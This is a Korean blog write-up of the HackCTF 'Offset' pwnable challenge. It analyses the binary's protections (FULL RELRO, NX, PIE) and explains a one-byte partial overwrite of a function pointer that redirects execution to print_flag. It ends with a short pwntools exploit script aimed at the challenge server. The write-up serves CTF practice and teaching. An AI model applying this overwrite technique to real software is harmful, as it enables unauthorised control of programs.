본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Offset 풀이

by snwo 2020. 3. 25.

원하는함수를 물어본다. 함수리스트에는 

one, two, print_flag 함수가 있다. 하지만 one 함수만 작동이 된다.


main 함수다.

which function ~~ 를 출력하고,

[ebp-0x27] 에 입력을 받고, 

select_func 함수의 인자로 전달해 호출한다.


[ select_func ]

 

[ebp-0x2a] 에 0x1F (31d) 만큼 내가입력한 문자열을 복사한다.

그리고, "one" 과 비교를해서 같으면 [ebp-0xC] 에 one 함수주소를 넣고,

[ebp-0xC] 를 eax 로 옮겨서 eax 를 호출한다.


이전 문제들과 다르게 NX, PIE 가 설정되어있고, RELRO는 FULL이다.

 

FULL RELRO : GOT overwrite 를 방지한다. ( GOT 주소를 조작할수없다 )

 

NX (Non-eXcutable) : stack, heap 에서 코드가 실행되지않게 권한을 없앤다.

 

PIE : 모든주소를 절대주소가 아닌 상대주소로 접근한다. 

imagebase가 0x400000 처럼 고정되지않고,

실행시에 imagebase 가 결정되어 그 위치에 적재된다.

(이번문제 핵심)


우리가 입력한 문자열은

[ebp-0x2a] 부터 31 바이트니까

[ebp-0xc] 까지 값을 넣을수 있다. ( 1 byte overwrite )


select_func 함수의 윗부분을 보면, [ebp-0xC] 의 초기값은

two - 1FB8 (two 함수의 주소) 인 걸 알 수 있다.

 

PIE 는 base 의 주소만 바꾸기때문에

[ebp-0xC] 의 초기값은 XXXXX6AD 이란걸 추측할수있고,

 

함수목록

 

two : 0x000006AD, print_flag : 0x000006D8 으로

1바이트만 다르기때문에,

 

payload = DUMMY(30) + '\xD8' 로 

 [ebp-0xC] 값을 XXXXX6D81바이트 overwrite 하면

print_flag 함수가 호출된다.

 

print_flag


1
2
3
4
5
6
7
8
9
from pwn import *
r=remote('ctf.j0n9hyun.xyz',3007)
print_flag='\xD8'
payload='a'*30
payload+=print_flag
print(r.recvline()) #which function ~~
r.sendline(payload)
print(r.recvline()) #this function is still ~
print(r.recvline()) #flag